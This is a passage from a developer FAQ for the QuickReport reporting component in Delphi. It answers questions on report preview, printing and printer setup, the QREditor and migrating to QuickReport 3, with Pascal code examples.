IntToStr(PageNum) + ' pages';

case QRPreview.QRPrinter.Status of

mpReady: Caption := Caption + ' READY';

mpBusy: Caption := Caption + ' BUSY';

mpFinished: Caption := Caption + ' FINISHED'; { <-- all done }

end;

end;

------------------

Q. Why in report preview mode, does the CPU usage for the quick-reports application go to 100%

A. This was a known issue and was addressed in the 2.0j release.

------------------

Q. My custom preview doesn't work the way it did with QR1

A. The preview must be called with Show instead of ShowModal. This a change from the QuickReport 1 behavior, but is required for QuickReport 2. We are considering adding a modal preview for QuickReport 3.0

------------------

Q. Why wont the progress bar work properly with non-BDE reports?

A. QuickReport 2 checks the TTable or TQuery for the current record number and the total number of records. These two values are used for displaying the progress bar percentage. SQL based queries and non-BDE data have no way of telling QR2 what the total number of records is, which is why the progress bar does not update for those kinds of reports

------------------

Q. Some computers do not display a report and others work fine.

A. We have seen that happen on machines that do not have a default printer defined. Without a default printer, QR has no way of knowing how to render the report.

------------------

Q. When the preview method of a report is called, it looks like the report is being painted twice and there is some flicker

When a form is created the event handlers are executed in the following order:

OnCreate OnShow OnPaint OnActivate OnResize OnPaint again

A. This is a known issue and will be addressed with a future release.

------------------

Q. In QR1, I could disable/hide爐he save, print and load report speed buttons in the preview. Is this no longer an option?

A. This is not an option with QuickReport 2. You would have to create a custom preview and build it with only the functionality that you require for your application. We have examples on our download page of custom previews for both Quick Report 2 and Quick Report 3

------------------

Q. Some lines do not appear in the preview, but they appear in the printout.

A. The report is rendered to a TMetafile object when it is sent to the preview. Depending on the zoom value of the preview, the scaling of the TMetafile may crop out some of the lines. If you zoom in (you may need to use a custom preview to zoom in close enough), the lines will reappear.

------------------

Q. How can I tell in BeforePrint if I am Printing or Previewing?

A. In the report's BeforePrint event, you can check the value of the report's QRPrinter.Destination property. If it's set to qrdMetafile, then it's rendering the preview. If it's set to qrdPrinter, then it's rendering the report directly to the printer. This only works when you are generating a report, if you load a saved report, the destination will always be qrdMetafile.

------------------

Q. Is there a way to tell QuickReport that when you generate a preview, you only want the preview to span a certain number of pages or have a starting/ending page number?

A. You can't tell the preview to start at a specific page, but you can get it to stop after a specified number of pages. You can use the OnEndPage event (documented in the manual) to get the report to stop processing after the specified number of pages. If you do this an extra blank page will be generated, there isn't much you can do to get around that. The following example shows how to stop the preview after only 32 pages without affecting the number pages when you print from the preview:

procedure TfrmSomeReport.QuickRep1EndPage(Sender: TQuickRep);

var

nIdx: integer;

begin

{

This code will only take affect when previewing, you will need to

add qrprntr to the uses clause.

}

if QuickRep1.QRPrinter.Destination = qrdMetafile then

if QuickRep1.PageNumber = 2 then

begin

{

Disable the printing of all bands, requires 2.0J or later.

If you do this, remember to re-enable the bands in the reports

BeforePrint event the next time you run the report.

}

for nIdx := 0 to QuickRep1.BandList.Count - 1 do

TQRCustomBand(QuickRep1.BandList[nIdx]).Enabled := false;

{

Tell the report that we are done reading data.

}

QuickRep1.qrprinter.cancel;

end;

end;

Make sure to have the following code in the report's preview to re-enable the bands again.

procedure TfrmSomeReport.QuickRep1BeforePrint(Sender: TQuickRep;

var PrintReport: Boolean);

var

nIdx: integer;

begin

for nIdx := 0 to QuickRep1.BandList.Count - 1 do

TQRCustomBand(QuickRep1.BandList[nIdx]).Enabled := true;

end;

------------------

[Printing and PrinterSetup]

==================

Q. My users can't print under NT 4, but I can as the administrator.

A. The following was taken from Hp's tech support web site, use at your own risk.

Windows NT 4.0 has the ability to control access to the hard drive by using NTFS. This local hard drive security is not available if the system is using a standard file allocation table (FAT). When the default NTFS permissions are changed to lock the system, the user may have difficulty accessing the printer. Usually the system administrator can print to the printer without any problems, but when a user logs into the system and tries to print, error messages appear and the printer fails to respond. This is often caused by the user not having the appropriate permissions to access the necessary files for the print operations. A system administrator must change the permissions to allow the user access to these files.

The following steps may provide a workaround without the System Administrator making any changes to the system security settings.

1. Select Start, Settings, and then Printers.

2. In the Printers folder, right-click the specific printer icon.

3. Verify that Default printer is checked and then click Properties.

4. Select the Securities tab, and then click the Permissions box in the Permissions window.

5. Set the permissions level, as shown below for each item.

a. Administrators--Full Control

b. CREATOR OWNER--Manage Documents

c. Everyone--Manage Documents

d. Power Users--Manage Documents

6. Set the level by selecting the name; then, using the down arrow in the Type of Access window, select the Access level.

7. This should enable users to print without errors.

------------------

Q. I am trying to print a report on a HP5P using a top margin of 4mm, but only the first page comes out.

A. We have had reports of a problem with the driver for the HP5P where it could not handle that margin size. The work around would be to use the HP6 driver with this printer.

------------------

Q. The report title is being truncated in the Windows Print Manager.

A. This is not a QuickReport bug, it is a VCL bug. If you look at the source code, we define the ReportTitle as string. It gets passed to the TQRPrinter.Title property, which is also defined as string. We pass that the TPrinter.Title property and it gets used in TPrinter.BeginDoc where it passed to CTitle, which is an array of 32 bytes. This issue was addressed in Delphi 5.

------------------

Q. When I set the page range the report continues processing until I press cancel. Only the pages selected print and that is what I want, but why does it continue to process?

A. That is a limitation of the current design of QuickReport and will be addressed in a future release.

------------------

Q. We are trying to print reports in TEXT mode (in a dot matrix printer). When we use the Generic/Text Only printer from Windows it works, but it only prints the first 80 characters of each row. What can we do to print all the characters from the row?

A. That is the designed behavior of the Generic/Text Only printer driver. It truncates the text at to size of the paper. If you use a wider paper size (like Ledger), you may be able to get more of the text.

------------------

Q. Is there any way to prevent QuickReport from doing a page eject (form feed) at the end of a page or print job?

A. As long as you use printing via the windows printer driver (TPrinter and TQRPrinter both use this) there is no way to avoid the page eject after the print job has finished. This behavior has been built by MS into the printer driver design, for a good reason. The system has to be able to deal with several apps running in parallel printing all to the same printer and it assumes that each job starts on a new page.

------------------

Q. How do I print to a file without changing the printer's setup, or getting a prompt for a file to print to?

A. This is the title of a FAQ from the Inprise Delphi Developer support page. This question is answered at http://www.inprise.com/devsupport/delphi/qanda/1599.html

------------------

Q. When you look in the queue for a print job, Quick Report print jobs have no name. How can I give a Quick Report printout it a name for the queue?

A. Did you set the ReportTitle property of the report? This gets passed to the TPrinter object when you print and that value will be used as the name of the print job.

------------------

Q. I have a PC with a HP692C deskjet printer as default and when I try to print QuickReport raise the error : Printer index is not valid. Only with this printer.

A. This message doesn't come from QuickReport, it comes from the Delphi printers unit. You can get this message if you try to specify a printer option that the printer driver does not accept. If you copy the printers unit (if you have the VCL source code) to your project directory and add it to the project, you put break points in it to see which setting is causing your problem.

------------------

Q. I get a printer error when I print a range of pages.

A. There is a known problem where a range of pages will cause an error when you have controls that cause a band to stretch. The length of a band that stretches is not known until the band is actually printed. If pages are skipped, the page count is off and report throws an error. This will be addressed in a future release.

------------------

Q. I am setting the control's font to Arial but it is printing as Courier (or vice versa).

A. Check the control's Font.Pitch property. If you select Arial and set the pitch to fpFixed, Windows will substitute the closest match that supports that pitch.

------------------

Q. I can't get the Bin Selection for quick reports to work. No matter what I try, everything goes to the same bin. How do you select output bins?

A. You should be setting the report's PrinterSettings.Outputbin property to the bin that you want to use. Only the bins listed on the manual page for the outputbin property (5-121) can be selected. Device specific bins are not supported at this time. If the printer's default bin is a device specific bin, you may have to set to another bin in order for QR2 to be able to select a bin.

------------------

Q. I am trying to layout my report to print using the Generic/Text Only driver, but I am having trouble getting the text to line up and blank lines get inserted into the printout.

A. This is what I do when I am designing a report for the Generic/Text only driver.

Set the report units to Characters.

Set the report font to 'Courier New' and the size to 10.

Set the height of the band to slightly less than the height of the text controls. The default height of the QRDBText control is 17 when I use these settings. I set the detailband height to 16. This should eliminate any extra blank lines from the output.

------------------

Q. I don't see the progress window during the print when I use:

myreport.quickrep1.Prepare;

myreport.quickrep1.QRPrinter.Print;

myreport.quickrep1.QRPrinter.Free;

myreport.quickrep1.QRPrinter := nil;

How do I enable the progress window using the above code?

A. The progress windows is not applicable to that method as the report is not being generated at print time. The report was rendered to a metafile with the prepare method and the print method is just copying the metafile to the printer.

------------------

Q. I'm getting a 'Printer is not currently printing' error when I try to print a report, I have not been able to find a reason for this, it only happens with certain reports. (Others print without problems)

A. Check the report.printersettings.FirstPage and the report.printersettings.LastPage properties. If they are set to values outside of the number of actual pages in the report, you will get this error at runtime.

------------------

Q. The printout doesn't match the preview exactly.

A. We use Windows API calls to get the font height and width information back and some fonts do not return the correct information.

------------------

Q. I have a report that prints fine on a HPIII printer but not on the HP4. Either the text is missing, or the bands print black.

A. There have been many reports of problems with the HP4 (and HP5) printers. You should make sure that you are using the current driver from HP's web site (http://www.hp.com/cposupport/jsnav/prhome.html). You may also need to check the page protect option in the printer driver and/or set the DPI to 300.

------------------

Q. The output from preview is correct, but printing from the preview does not print all of the data or the data has values from the last run of the report.

A. If the problem is only when you print from a preview, then you will need to reset your data (datasets and/or variables) in the BeforePrint event of the QuickReport. This event gets called whenever the report needs to be generated.

When the report is regenerated, sometimes you will have to reset your dataset. One example is if the dataset has a memo and you are connected to a SQL database server like Oracle. The problem seems to be in the BDE's BLOB caching.

Another situation would be if you are using OnNeedData and that event is controlled by a variable that needs to be initialized at the start of the report.

------------------

Q. How can I tell how the user exits the report's PrinterSetup method? It does not pass back the status.

A. You can test the value of report's tag property (with version 2.J or newer) after calling PrinterSetup and if it's 1, then they selected OK.

Many users have asked for the ability to print automatically if the user selects OK from PrinterSetup. You would code that like this:

with frmReport.quickrep1 do

begin

PrinterSetup;

if tag = 0 then

print;

end;

To do this in the preview will require using a custom preview and passing in a reference to the calling report to the preview. That will allow you to call PrinterSetup and be able to check the tag value. We have a sample preview that does this and it is available upon request.

------------------

Q. How can I check to see if the user cancelled the printing of a report?

A. You can use the AfterPrint of the report to set a flag as it will only get called if the report prints to completion.

A. (QR3) The report has a Cancelled property that gets set to True if the user cancels a report (preview only, not the printout).

------------------

Q. How do I determine the paper size of the printer at runtime?

A. If you use the following code before you call your report, you can specify the default size:

with TQRPrinter.Create do

begin

Printerindex := -1;

QuickRep1.Page.PaperSize := PaperSize;

Free;

end;

This assumes that you are using the default printer and your report is named QuickRep1.

------------------

Q. After calling QuickRep.PrinterSetup to pick a specific printer, what's the best way to get the name of the printer that was just chosen?

A. The printerindex is stored in the report's printersettings.printerindex property. The following example will set the form's caption to the current printer for the selected report:

with TfrmReport.Create(Application) do

begin

QuickRep1.PrinterSetup;

self.caption := printer.printers[QuickRep1.printersettings.printerindex];

QuickRep1.Preview;

Free;

end;

------------------

Q. I can not get the PrintBackground to work. In the preview sample I added a menu with the code:

procedure TMain.PrintBackground1Click(Sender: TObject);

var

aForm : TReport1Form;

begin

Application.CreateForm(TReport1Form, aForm);

aForm.QuickRep1.PrintBackground;

aForm.Free;

end;

When the PrintBackground method is called an exception is raised.

A. You are freeing the report while it is printing in the background. You can't free the report until it has finished printing. The following example creates a report, calls PrintBackground, and then waits until it has finished before freeing the report:

Application.CreateForm(TfrmGroupTest, frmGroupTest);

with frmGroupTest do

begin

QuickRep1.PrintBackground;

while QuickRep1.QRPrinter.Status <> mpBusy do

Application.HandleMessage;

while QuickRep1.Available = False do

Application.HandleMessage;

Free;

end;

------------------

Q. We have an application, that prints a form developed in QR 2.0i. During development we used a LEXMARK printer an everything worked fine. But our customer have another printer a Kyocera, on that printer the print doesn't work.

A. One thing to look at is how complicated your form is and how much memory is in each printer. QuickReport renders each page to the printer canvas supplied by the printer driver. If the printer resolution is set too high and it doesn't have enough ram to render the entire page, you will get garbled or missing output, depending on the printer and/or driver. One way to verify that this is the problem would be to lower the printer's resolution through it's driver and then try to print the report.

------------------

Q. I'm trying to write a report that gets printed to the windows generic text-only printer driver. Some lines move around when it is actually printed. Do you have any ideas?

A. Try setting the report's font to "Courier New" at size 10. Then set the height of the band to 16 and if that cleans up the output. To save paper while testing this, set the printer driver's destination to "FILE:"

------------------


Quick Report FAQ [ 4 ]

Q. How can I send control chars to the printer with Quickreport?

A. QuickReport uses the Windows printer driver GDI calls to output data, it does not support sending escape codes directly to the printer. You could use the ASCII text export filter to save the report as text. You would then insert your printer escape sequences into that file and then copy that file to printer port.

------------------

Q. I can't set the printer at runtime, I get an exception if I use the following syntax:

Quickrep1.Printersettings.printerindex := Quickrep1.printer.printers.Indexof('HP LaserJet 4 on LPT1:');

A. QuickReport does not create it's printer until it needs it, you'll need to use a regular printer object that Delphi will initialize for you. the following code will work:

Quickrep1.Printersettings.printerindex :=printer.printers.Indexof('HP LaserJet 4 on LPT1:');

------------------

Q. How can let the users select the printer before running the report?

A. If you call the Report's PrinterSetup method, this will set the printer settings for the report before you run it. You could do it like:

with frmReport do

begin

QuickRep1.PrinterSetup;

QuickRep1.Preview;

end;

------------------

Q. I retrieve the values of the Delphi PrinterSetupDialog and when I use the printerindex returned by it, I get the error: PRINTER INDEX OUT OF RANGE

A. There is a bug in the Delphi printer setup dialog that causes it to create new instances of printers in the printer list. QuickReport 2.0i (and later) includes a fixed printer dialog in the qrprnsu unit. Please use that instead of Delphi's dialog.

------------------

Q. When I change the printerindex, I can't select the right paper size.

A. There is a problem in the printers unit where when the printerindex index is changed, the new printer "inherits" the properties of the previous printer. With the 2.0j release, we now reset the printer driver when the printerindex is changed.

------------------

Q. When I use Printer Settings from within QuickReport, it suggests me to write out all 10000 pages, even though my report contain only 10-15 or so...

A. This is a cosmetic bug (the report will never print out anything past the last page) and this will be fixed in a future release.

------------------

Q. I can't select a tray for HP printers

A. The printer dialog QuickReport uses is a standard print setup dialog. QuickReport defaults to the Default tray defined in Windows. I believe the problem with some printer drivers (LJ5/6) is that they try to redefine the tray order. We will look for a solution to this for a later version.

One work around is to use the LaserJet III driver when printing with QuickReport.

------------------

Q. How do I the printer properties if I use my own printersetup dialog box?

A. Please see the TQuickRep.PrinterSetup method in quickrpt.pas for code showing how to set the printer to what was selected in the setup dialog.

------------------

Q. I get an extra blank page when I print a range of pages.

A. The extra blank page is a known issue and was addressed in the 2.0k release.

------------------

Q. Why do the Properties QRPrinter.Canvas.TextHeight and TextWidth return always zero value when running in 16 bits?

A The QRprinter.Canvas is a standard metafile in Delphi 1 and a standard metafile doesn't support these functions. Enhanced metafiles in Delphi 2/3 does.

------------------

Q. The report prints under Win95 but not under Win 3.1

A. This is probably a printer driver problem even though they use the latest driver. A possible solution might be to try to blank the QRPrinter.OnGenerateToPrinter event to see if that helps.

A workaround is to clear the QuickRep.QRPrinter.OnGenerateToPrinter event, setting it to NIL when the preview is brought up. This will force QR to print the generated metafiles instead of generating the report all over directly to the printer. The down side is that you might experience a slight scaling of the report page and that images might have a lower resolution.

------------------

Q. When I use printer fonts, the preview does not match the print out.

A. A possible solution to this problem is to assign the printer specific font to your report at runtime. If you use the same font for all controls in your report you should be able to say

QuickRep.Font.Name := 'Your font name'

before starting your report. If Windows is able to a reasonably good substitution it should work.

------------------

Q. When I use the QRPrinter object, the scaling is off

A. There are some known problems with using the QRPrinter object in this way. With the 2.0h release, we have added a new class, QRPrintJob, which is a wrapper for the QRPrinter object. This code is in the directory and makes it easier to do code like what you sent in.

------------------

Q. When i use the EPSON LQ-1070+ printer driver the program closed, no error message

A. There is a known problem with using QuickReport with printers that support more than 64 different page sizes. This will be addressed in an upcoming release. At the present time, there is no work around, short of using a generic Epson compatible printer driver.

------------------

Q. When I print my reports under NT 4, the font changes are not working correctly.

A. There is a known printing problem with Windows NT 4.0 when you have multiple font changes on the printer canvas. Installing the Service Pack 3 to NT should solve the problem.

------------------

Q. I get a exception error when running our application on a machine without a default printer.

A. QuickReport requires that a default printer be installed. The report is prepared using information from the printer driver. The following code shows one way to check and see if a default printer has been defined.

procedure TfrmReport.btnReportClick(Sender: TObject);

var

FDevice: PChar;

FDriver: PChar;

FPort: PChar;

FHandle: THandle;

CurrentPrinterName: string;

begin

GetMem (FDevice, 255);

GetMem (FDriver, 255);

GetMem (FPort, 255);

Printer.GetPrinter (FDevice, FDriver, FPort, FHandle);

CurrentPrinterName := FDevice;

if FDevice <> nil then FreeMem (FDevice, 255);

if FDriver <> nil then FreeMem (FDriver, 255);

if FPort <> nil then FreeMem (FPort, 255);

if CurrentPrinterName <> '' then

{ Preview the report }

QuickRep1.Preview

else

MessageDlg('You do not have a default printer defined.' +

#13#13 + 'Please select a printer before running a report.',

mtError,[mbOK],0);

end;

------------------

Q. How do I print to a printer different than the Windows default printer?

A. Set QuickRep.PrinterSettings.PrinterIndex to a value corresponding to the printer you want to print to. This value is the same as for the Delphi TPrinter.PrinterIndex. Set to -1 to print to the default printer again

------------------

Q. I have some easy reports very simple ones (without graphics), but in a matrix printer they are printed very slowly. Is there a way to print them like the DOS programs did in PRINT, and TYPE filename.ext > PRN?

A. QuickReport renders a report to the printer driver's canvas. It doesn't really have a text mode for printing, rendering the pages is left completely up to the printer driver. If the printer driver has a draft mode setting, try making that setting the default. You can also try using the "Generic / Text Only" printer driver that comes with Windows. You may have to modify the fonts and/or control placement with the report to get satisfactory results with this driver.

------------------

Q. I would set to specify a default printer to be used for multiple reports.

A. You have to add the code to determine what the printerindex value is for the printer. Then set the QuickRep1.PrinterSettings.PrinterIndex property to this value for each report before you call the print or preview methods

------------------

Q. My report only prints one page, but the design time preview shows all pages.

A. Check the report's PrinterSettings.FirstPage and PrinterSettings.LastPage properties and make sure that they are set to 0. If you print a range of pages from the design time preview, these two fields may get set to the values that you had selected.

------------------

Q. How can I print multiple copies of a report without having to generate it over and over again?

A. You would set the report's PrinterSettings.Copies property to the value that you want. Not all printer support this property.

Another way to print multiple copies is to use the prepare method instead of calling the print method directly. For example:

Instead of:

with TfrmQR.Create(Application) do

begin

QuickRep1.Print;

free;

end;

Try:

with TfrmQR.Create(Application) do

begin

QuickRep1.Prepare;

QuickRep1.QRPrinter.Print; { print first copy }

QuickRep1.QRPrinter.Print; { print second copy }

QuickRep1.QRPrinter.Free;

QuickRep1.QRPrinter := nil;

free;

end;

This method generates the report to an internal metafile and then rendered report is sent to the printer twice.

------------------

Q. I am getting printer overrun errors with some reports when I print to my laser printer

Q. Some reports are printing dark bands on my laser printer.

A. These problems can happen when you send a full page to a laser printer and that printer does not have enough RAM to print a full page at the specified DPI. Try reducing the DPI or adding more RAM to the printer.

------------------

Q. When I call the printersetup dialog, it always shows the default printer, even if I have preset the printerindex to another printer.

A. This is a bug in Borland's dialog, it always comes up with the default printer no matter what the printerindex is set to.

------------------

[QREditor]

==================

Q. Can I manually edit a QREditor (.qr) file with a text editor?

A. You can convert the .qr file to and from a text file by using the ObjectBinaryToText() and ObjectTextToBinary() methods. The QREditor demos for QuickREport 3 on our download page have example code for this.

------------------

Q. I get an access violation if I set the QREditor's ShowMenu property to true.

A. This a limitation of the current code and will be addressed in a future release. The work around is to set this property to true at runtime.

------------------

Q. How do I master/detail reports in the QREditor?

A. This was added in the 3.0.5 release. You define the master table using the "Report data setup" dialog. The bottom panel of this dialog allows you to define a detail table and link it to the master table.

------------------

Q. I want to be able to execute a report made in "QREditor" (*.qr) without using the QREditor. How can I do this so the user can not edit the report?

A. You can load a qreditor report with the QRLoadREport function (defined in the qrextra unit). Remember to add the qrextra unit to your uses clause. The following code shows how load, preview, and finally free a saved report:

procedure TfrmTest.btnQRLoadReportClick(Sender: TObject);

var

MyReport: TQuickRep;

begin

try

MyReport := QRLoadReport('myreport.qr');

MyReport.Preview;

finally

QRFreeReport(MyReport);

end;

end;

For QuickReport 3.0.5 (or later) you would use a TQREditor object to load the report.

Example:

with TQREditor.Create(self) do begin

OpenReportFile('myreport.qr');

PreviewReport;

Free;

end;

------------------

Q. I'd like to know how to use my QR files made by Delphi 3 with the release of Delphi 1.

A. The .QR files saved by the QREditor are form description files (.DFM) and DFM files are not downward compatible. You will need to either create your .QR files with Delphi 1 or manually edit them to remove the properties that are not supported with Delphi 1.

------------------

Q. How can I send parameters to the QREditor when using a Query?

A. This is not directly supported in the current release. What you can do is to load the saved report and modify the query properties. While you can't pass parameters, you can build an SQL statement with those parameters embedded in the text of the SQL statement. The following example loads a previously saved report and replaces the SQL property if a TQuery was being used or it sets the filter if a TTable is being used:

QuickReport 2:

procedure TfrmMain.Button1Click(Sender: TObject);

var

MyEdit: TfrmQREdit;

begin

MyEdit := TfrmQREdit.Create(Application);

with MyEdit do

begin

show;

qreditor1.OpenReportFile('cust1563.qr');

if qreditor1.Report.DataSet is TQuery then

begin

with TQuery(qreditor1.Report.DataSet) do

begin

SQL.Clear;

SQL.Add('select * from customer where CustNo=6312');

Open;

end;

end

else

begin

with TTable(qreditor1.Report.DataSet) do

begin

Active := False;

{$ifdef win32}

Filter := 'CustNo=6312';

{$endif}

Active := True;

end;

end;

qreditor1.Report.Preview;

Close; { if you want to make the editor go away after the preview }

end;

end;

QuickReport 3.0.5: (from the QREditor demo on our download page)

procedure TEdtDemoFrm.btnSalesPreviewClick(Sender: TObject);

var

EmployeeNumber: integer;

MyReport: TQuickRep;

begin

// Prompt the user for an employee number to report on

if GetEmployeeNumber(EmployeeNumber) then begin

with TEdtFrm.Create(Application) do begin

try

QREditor1.ShowMenu := true;

QREditor1.OpenReportFile('sales.qr');

// Get the report variable

MyReport := TQuickRep(QREditor1.ReportEditor.FormEditor.MainControl);

// Now update the query

if MyReport.DataSet is TQuery then begin

with TQuery(MyReport.DataSet) do begin

if Active then

Close;

// Set the SQL statement. If the user accidently changes the SQL

// statement, this will make sure that the correct one is in place

SQL.Text := 'SELECT OrderNo, CustNo, SaleDate, EmpNo, ItemsTotal, LastName, FirstName '+

'FROM orders JOIN employee ON orders.empno = employee.empno '+

'WHERE employee.empno = :p0 '+

'ORDER BY orders.empno, SaleDate';

// Pass the selected employee number as the parameter to this report

Params[0].AsInteger := EmployeeNumber;

// open the query again

Open;

end;

end;

// Display the report

QREditor1.PreviewReport;

finally

Free;

end;

end;

end;

end;

------------------

Q. After pressing the open button on the QREditor and canceling this action the buttons do not return to the original state and the 'new' button is disabled.

A. The demo editor project shows how to add a menu to the qreditor with ability to re enable the new button.

------------------

Q. The QREditor's NewImage button is commented out. When will this be enabled?

A. This function will be added to a future release.

------------------

Q. Can I use the PAGE function somehow in TQREditor?

A. This will be in the 3.0 release (due out in 98)

------------------

Q. I am interested in the TQREditor component, but I have a question: How can I create a master-detail report through the component?

A. At the current time, the QREditor component is limited to a single dataset. This functionality will part of a future release.

------------------

Q. When working with the QREditor, the Title band does not get previewed nor printed. All the layout options and the band properties appear to be set correctly, but the band will not preview or print.

A. Have you defined a dataset for this QREditor report? If you do not have one, the title band will not be output.

------------------

Q. Is it possible to bypass the login dialog when I want to report data from a database server with the QREditor? (by providing username and password via code)

A. With the BDE, you'll need to use a TDatabase component and set the username and password via the params property. You can't add this to a report created by QREditor, but if you put the component on the same form as the QREditor, this should work. I tested this with a password protected MS Access database and it worked.

------------------

Q. I'm using Quickreport editor and I found a problem. If I want to put in a report a label and its caption is the same name of a dataset field's, I can't put this label caption in the report.

A. This is a known problem and will be addressed in a future release. One work around is to use a SQL statement to rename the columns in the table so that the names do not overlap. Example

SELECT OldName AS NewName FROM SomeTable

------------------

Q. The fields in the QREditor are printing as the field names instead of the values.

A. When you select a dataset with the editor, it names it either TTable1 or TQuery1. If you have datasets with the same name, this can cause a conflict with the QREditor where it tries to use the wrong dataset. Renaming the other datasets removes this conflict. This will be addressed in a future release.

------------------

[QuickReport 3]

==================

Q. In QuickReport 3.0.4, the groupfooter with the AlignToBottom property set true will sometimes print over the bottom of the last detailband.

A. This is an open bug and will be addressed in a future release. If you set the LinkBand property of the detail band to the group footer band, that should force a page break when there is not enough room for both bands on the same page.

------------------

Q. How do I change the language of the package? What files need to be modified in Quick Report 3 and how do I rebuild the packages?

A. Most of the text strings are defined in qr3const.pas. A few of the units have text properties set in their .dfm files.

After you change those units, you will need to rebuild the runtime package (qrpt40 for Delphi 4, qrpt43 for Delphi 3). The qrpt4*.dpk file can be found in the quickrpt directory where the source code was installed. Close all projects and any program using Delphi runtime packages. Load the .dpk file and build it. If you get an error about missing units, just remove those units from the package file. Then load the design time package, dclqrt40.dpk (or dclqrt43.dpk for Delphi 3). Rebuild that unit (removing any units that Delphi can not find).

After you rebuild the packages, you will need exit Delphi. Copy the qrpt40.bpl (or qrpt43.dpl) to your windows system directory. Copy the design time package dclqrt40.bpl (or dclqrt43.dpl for Delphi 3) to the Delphi bin directory. Then copy the .dcu and .dfm files to the Delphi lib directory.

The next time you start Delphi, it should be using the recompiled packages.

------------------

Q. I get an error using QRCreatelist with code that worked in Qr2.

A. With QR3, the report variable must be of type TCustomQuickRep.

------------------

Q. Dropping a TQRlabel or another TQRPrintable on a TQuickReport with the property Units set to another value than PIXEL set the values of Top and Left not to the position of the mouse, but to high dummy values like 7418.

A. This is a known problem if the report is on a form with non-QR visual controls. Placing the report in it's own form is the work around for this problem.

------------------

Q. When I set PrintBand to false, the dataset fields for that line are excluded from the TQRExpr functions. In Quick Report 2, these fields are included in the calculations.

A. This is a feature that had been requested by many users. It had been expressed to us that if a band was suppressed, it's data should be excluded from the accumulator functions like SUM(). To emulate the Quick Report 2 code, instead of setting PrintBand to false, set the height of the band to 0 when you want to suppress it and still use it for functions. Just remember to set the height back to the design time height when you do want to print the band.

------------------

Q. Every time I preview a report with my custom preview, I lose some memory.

A. You will want to check your preview's FormClose event. If you are using code from Quick Report 2, that code may not work correctly. You may want to compare your close event code with the code used by the standard preview.

------------------

Q. I can't find the qrbonus unit.

A. The classes that were the qrbonus unit are now in the qrextra unit.

------------------

Q. I have a report with some controls on a TQRBand and the preview is empty.

A. You must have a detail band, this is required for Quick Report 3. Using reports without detail bands was an undocumented feature of Quick Report 2 and was never supported.

------------------

Q. (Delphi 3) I am getting an error when I compile with runtime packages enabled. With out runtime packages, it works fine.

A. The package list will not get updated automatic when you install QR3 over QR2 and you may have the QR2 runtime package (qrpt30.dpl) on the list instead of the Quick Report 3 runtime package (qrpt43.dpl)

------------------

Q. I have a report that does not print the DetailBand (DetailBand1BeforePrint() sets PrintBand to False). With version 2 of QuickReport, SUM() expressions in groups incremented their values whether or not the detail band printed. In version 3.0.4, it appears that the SUM() expression only increments if the detail band prints. What can I do to change this behavior back to how version to handled this?

A. This was actually a change that had been requested by other users. There is a simple work around that you can use in the BeforePrint event. Instead of setting PrintBand to False, set the band height to 0. If you need to restore the height, set the tag property of the band to the height and restore the height from the tag in the band's AfterPrint event. The report will still think that it printed the band, but the size will be 0 so you will not see the band and your sum will include the data from the hidden records.

------------------

Q. My users can not see the buttons on the preview's toolbar.

A. What version of comctl32.dll is on your system? The preview uses a TToolbar control and that control will not display glyphs from an imagelist when the destination computer has an older version of this dll. It was compiled for version 4.72. You have a couple of options. You can get the free update from MS for the current comctl32.dll, or you can recompile the QR package against the old version of comctl32.dll (not recommended), modify the standard preview in the qrprev unit so that it does not use TToolbar, or you could use a custom preview that does not use a TToolbar control. We have Custom Preview examples on our download page and with QR3, you can change the preview on a global basis. There is an MDI demo example on our download page that shows how to do this.

Delphi 4 requires (and installs version 4.72) You can download the file directly from Microsoft at the URL http://msdn.microsoft.com/developer/downloads/files/40comupd.htm. It has been reported that this link is no longer valid, an alternative would be ftp://ftp.microsoft.com/softlib/mslfiles/40comupd.exe

------------------

Q. With QuickReport 2, I could set OnGenerateToPrinter to nil to keep the report from being regenerated. How do I do this in Quick Report 3?

A. The OnGenerateToPrinter property is a QR2 only property, it doesn't exist in QR3. There are a couple of ways to do this in QR3. You can set the report.qrprinter.master property to nil in the BeforePrint event of the summary band. If you don't need a summary band, you can set PrintBand to false in that event. You could also use a custom preview and change the print button to call the preview's qrprinter.save to a temporary file and then qrprinter.load. You would then call the qrprinter.print method to print the loaded report.

------------------

Q. I think I have installed version QuickReport 3 correctly with Delphi 3, and it prints short reports if I call the PRINT command. If I use preview however, I receive a "Control has no parent window error" when I press the print button. I didn't have this problem with Version 2.0K.

A. The DLL needs a reference to the calling application so that the DLL's forms are children of the application. Please see the Delphi help page for TApplication.Handle.

------------------

Q. I am trying to compile a report from QuickReport 2 and I get the message "Undeclared identifier TQRDetailLink."

A. The TQRDetailLink class was a QuickReport 1 object. QuickReport 2 had partial support for this control and it was treated as an alias to the TQRSubDetail control. QuickReport 3 does not have any support for reports that were ported from QuickReport 1. If you replace the TQRDetailLink controls with TQRSubDetail controls, your report should run like it did under QR2. The TQRDBCalc control from QR1 will also produce the same error. This was replaced with the TQRExpr control.

------------------

Q. I am creating an end user report generator and use the TQRDesigner to enable objects edit and selection functions, but I couldn't find it in the new version.

A. The TQRDesigner is no longer part of the package, we use the Delphi form designer to edit the report.

------------------

Q. I just installed Quickreport 3.03 Pro for Delphi 3 Client/Server and recompiled (Build All) a project that worked fine with QR 2.0j. In order to get it to compile, I had to remove unit QRHTML from all uses clauses because I got a fatal compile error that QRHTML was compiled with under different version

A. The qrhtml unit is a QuickReport 2 only unit, it is not part of the QR3 file set, you can remove all of the references to it. If you may many reports that use the unit, it would save time to create a stub unit named qrhtml that didn't have anything in it. When you get that error message with QuickReport 3, it usually means that the compiler is finding QuickReport 2 files.

------------------

Q. I have some variables defined in the report's functions property and I can't initialize them in the report's BeforePrint event.

A. The report's BeforePrint event is called before the elements in the report's functions property have been initialized. One way to initialize the function variables in code would be to use the BeforePrint event of the TitleBand. If your report does not require a title band, set PrintBand to false in that event.

Example of setting an integer value at the start of the report:

procedure TfrmExpr.TitleBand1BeforePrint(Sender: TQRCustomBand;

var PrintBand: Boolean);

var

aQREvElement: TQREvElement;

begin

with QuickRep1.Functions do

begin

aQREvElement := GetConstant('test');

if (aQREvElement <> nil) and (aQREvElement.Value(nil).Kind = resInt) then

begin

SetIntegerConstant(aQREvElement, 10);

end;

end;

end;

------------------

Q. I get the error message "Undeclared identifier; 'TQREvaluator'" when I compile a report that worked with QuickReport 2

A. We moved the expression classes to a new unit, qrexpr. If you add this unit to your uses section, the report will compile again.

------------------

Q. I have a simple project which has a quick report, no bands, just a few labels, memo boxes, and pictures. It worked prior to my upgrade to a purchased version. Now if I do a Preview, the screen is blank, no data, as well as if I do a print, nothing happens.

